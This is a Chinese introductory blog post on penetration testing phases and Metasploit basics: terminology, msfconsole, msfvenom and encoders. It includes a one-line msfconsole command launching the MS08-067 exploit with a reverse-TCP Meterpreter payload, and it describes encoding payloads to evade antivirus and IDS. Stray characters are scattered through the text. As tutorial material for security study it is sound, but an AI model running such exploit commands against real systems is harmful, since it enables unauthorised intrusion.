Metasploit基礎

滲透測試流程和類型

滲透測試流程

滲透測試執(zhí)行標準(PTES:Penetration Testing Execution Standard)對滲透測試進行了定義表谊。

  • 前期交互階段
  • 情報搜集階段
  • 威脅建模階段
  • 漏洞分析階段
  • 滲透攻擊階段
  • 后滲透攻擊階段
  • 報告階段

每個階段現(xiàn)在不作詳細的介紹,在后面會有針對性的講解。對一些靶機的滲透過程中垛叨,會綜合運用以上的階段。當然册舞,標準是靈活的播演,我們一樣可以按照自己的習慣和經(jīng)驗來制定自己的滲透測試流程。像我在讀的另外一本書《黑客秘笈——滲透測試使用指南(第2版)》(英文原著已經(jīng)到第3版贯底,只是還沒有中文譯本)丰辣,筆者就有自己的一套滲透測試流程,或許這套流程更適合自己。

滲透測試類型

  • 白盒測試
    擁有所有的內部知識笙什,在不需要害怕被阻斷的情況下任意地實施攻擊飘哨。
  • 黑盒測試
    不了解客戶組織大部分信息和知識,模擬攻擊者的入侵行為得湘,費時費力杖玲,需要具備更強的技術能力。
  • 灰盒測試
    上面兩者的組合淘正,已經(jīng)了解部分內部知識(結構拓撲圖摆马、訪問憑證、應用使用手冊等)鸿吆。

Metasploit基礎

接口 選項 變量 模塊...

專業(yè)術語

1. Exploit_滲透攻擊

攻擊者利用一個安全漏洞所進行的攻擊行為囤采。流行的滲透攻擊技術包括緩沖區(qū)溢出、Web應用程序漏洞攻擊(如SQL注入)惩淳,及利用配置錯誤等蕉毯。

2. Payload_攻擊載荷

是我們期望目標系統(tǒng)在被滲透攻擊之后去執(zhí)行的代碼

3. shellcode

在滲透攻擊時作為攻擊載荷運行的一組機器命令思犁。shellcode通常以匯編語言編寫代虾。

4. Module_模塊

一個模塊是指Metasploit框架中所使用的一段軟件代碼組件
比如說:滲透攻擊模塊(exploit module)激蹲,輔助模塊(auxiliary module)

5. Listener_監(jiān)聽器

等待被滲透主機連入網(wǎng)絡的連接的組件

接口

1. MSF終端

msfconsole啟動

help 命令 查看命令幫助棉磨,如 help connect,查看connect命令的相關選項学辱。

2. MSF命令行

命令行和終端的區(qū)別
終端以一種用戶友好的模式提供交互方式乘瓤。
命令行主要考慮對腳本處理和與其他命令行工具的互操作性。簡單說就是一行命令直接解決策泣,不像終端那樣交互幾次衙傀。
在2015年1月份,Metasploit 官方宣布不再支持msfcli命令行工具萨咕,作為替代方案统抬,建議使用MSF終端的“-x”選項。
如:

./msfconsole -x "use exploit/windows/smb/mse8_067_netapi;set RHOST [IP];set PAYLOAD windows/meterpreter/reverse_tcp;set LHOST [IP];run"

3. Armitage

完全交互式的圖形化用戶接口危队。跟終端的區(qū)別在于可以圖形化選擇模塊蓄喇,已經(jīng)集成在kali上。

Metasploit功能程序

就是指在某些特殊場合下最常用的功能交掏。

1. MSF攻擊載荷生成器

MSF攻擊載荷生成器允許你能夠生成shellcode妆偏、可執(zhí)行代碼和其他更多的東西,也可以讓它們在框架軟件之外的滲透代碼中進行使用盅弛。

msfpayload已經(jīng)被棄用钱骂,取而代之的是集成了攻擊載荷生成編碼msfvenom叔锐。

如果對某個攻擊載荷的模塊不清楚配置,使用payload-options

root@kali:~$ msfvenom-p windows/she11_reverse_tcp --payload-options

2. MSF編碼器

為什么要使用編碼器:

  • 由MSF攻擊載荷生成器產生的shellcode是完全可運行的见秽,但是其中包含了一些null空字符愉烙,在一些程序進行解析時,這些空字符會被認為是字符串的結束解取,從而使得代碼在完整執(zhí)行之前被截斷而終止運行步责。簡單來說,這些\x00和\xff字符會破壞你的攻擊載荷禀苦。

  • 在網(wǎng)絡上明文傳輸?shù)膕hellcode很可能被入侵檢測系統(tǒng)(IDS)和殺毒軟件所識別蔓肯,為了解決這一問題,MSF編碼器來啦振乏!它可以幫助你通過對原始攻擊載荷進行編碼的方式蔗包,來避免壞字符,以及逃避殺毒軟件和IDS的檢測慧邮。

3. Nasm shell

在進行滲透代碼開發(fā)時(絕對是大神級別了)调限,需要對給定的匯編命令找出它的opcode操作碼,nasm就特別舒服了误澳!

?著作權歸作者所有,轉載或內容合作請聯(lián)系作者
  • 序言:七十年代末耻矮,一起剝皮案震驚了整個濱河市,隨后出現(xiàn)的幾起案子忆谓,更是在濱河造成了極大的恐慌裆装,老刑警劉巖,帶你破解...
    沈念sama閱讀 211,194評論 6 490
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件陪毡,死亡現(xiàn)場離奇詭異米母,居然都是意外死亡勾扭,警方通過查閱死者的電腦和手機毡琉,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 90,058評論 2 385
  • 文/潘曉璐 我一進店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來妙色,“玉大人桅滋,你說我怎么就攤上這事∩肀妫” “怎么了丐谋?”我有些...
    開封第一講書人閱讀 156,780評論 0 346
  • 文/不壞的土叔 我叫張陵,是天一觀的道長煌珊。 經(jīng)常有香客問我号俐,道長,這世上最難降的妖魔是什么定庵? 我笑而不...
    開封第一講書人閱讀 56,388評論 1 283
  • 正文 為了忘掉前任吏饿,我火速辦了婚禮踪危,結果婚禮上,老公的妹妹穿的比我還像新娘猪落。我一直安慰自己贞远,他們只是感情好,可當我...
    茶點故事閱讀 65,430評論 5 384
  • 文/花漫 我一把揭開白布笨忌。 她就那樣靜靜地躺著蓝仲,像睡著了一般。 火紅的嫁衣襯著肌膚如雪官疲。 梳的紋絲不亂的頭發(fā)上袱结,一...
    開封第一講書人閱讀 49,764評論 1 290
  • 那天,我揣著相機與錄音袁余,去河邊找鬼擎勘。 笑死,一個胖子當著我的面吹牛颖榜,可吹牛的內容都是我干的棚饵。 我是一名探鬼主播,決...
    沈念sama閱讀 38,907評論 3 406
  • 文/蒼蘭香墨 我猛地睜開眼掩完,長吁一口氣:“原來是場噩夢啊……” “哼噪漾!你這毒婦竟也來了?” 一聲冷哼從身側響起且蓬,我...
    開封第一講書人閱讀 37,679評論 0 266
  • 序言:老撾萬榮一對情侶失蹤欣硼,失蹤者是張志新(化名)和其女友劉穎,沒想到半個月后恶阴,有當?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體诈胜,經(jīng)...
    沈念sama閱讀 44,122評論 1 303
  • 正文 獨居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內容為張勛視角 年9月15日...
    茶點故事閱讀 36,459評論 2 325
  • 正文 我和宋清朗相戀三年冯事,在試婚紗的時候發(fā)現(xiàn)自己被綠了焦匈。 大學時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點故事閱讀 38,605評論 1 340
  • 序言:一個原本活蹦亂跳的男人離奇死亡昵仅,死狀恐怖缓熟,靈堂內的尸體忽然破棺而出,到底是詐尸還是另有隱情摔笤,我是刑警寧澤够滑,帶...
    沈念sama閱讀 34,270評論 4 329
  • 正文 年R本政府宣布,位于F島的核電站吕世,受9級特大地震影響彰触,放射性物質發(fā)生泄漏。R本人自食惡果不足惜命辖,卻給世界環(huán)境...
    茶點故事閱讀 39,867評論 3 312
  • 文/蒙蒙 一况毅、第九天 我趴在偏房一處隱蔽的房頂上張望晚伙。 院中可真熱鬧,春花似錦俭茧、人聲如沸咆疗。這莊子的主人今日做“春日...
    開封第一講書人閱讀 30,734評論 0 21
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽午磁。三九已至,卻和暖如春毡们,著一層夾襖步出監(jiān)牢的瞬間迅皇,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 31,961評論 1 265
  • 我被黑心中介騙來泰國打工衙熔, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留登颓,地道東北人。 一個月前我還...
    沈念sama閱讀 46,297評論 2 360
  • 正文 我出身青樓红氯,卻偏偏與公主長得像框咙,于是被迫代替她去往敵國和親。 傳聞我的和親對象是個殘疾皇子痢甘,可洞房花燭夜當晚...
    茶點故事閱讀 43,472評論 2 348

推薦閱讀更多精彩內容

  • msf啟動 輸入命令msfconsole喇嘱,-q命令是不顯示msflogo 也可以點擊左邊M圖標進行啟動 啟動成功后...
    1f28dd1475ee閱讀 23,723評論 0 6
  • 1 Metasploit介紹 Metasploit是一個漏洞利用框架,簡稱msf塞栅。默認情況kali直接封裝msf工...
    shadowflow閱讀 751評論 0 1
  • 從第一篇之后接下來就要正式開始滲透測試的部分了者铜,首先引用《指南》中的幾點忠告: 不要進行惡意的攻擊 不要做傻事 在...
    椋鳥閱讀 1,053評論 2 2
  • Metasploit基本介紹與配置 Metasploit作為一個非常全面的滲透工具,用來收集信息非常好用放椰,信息收集...
    yingtaomj閱讀 2,730評論 0 2
  • 一作烟、MSF終端命令 show exploits 列出metasploit框架中所有的滲透攻擊模塊 show pay...
    Kaen閱讀 3,222評論 0 1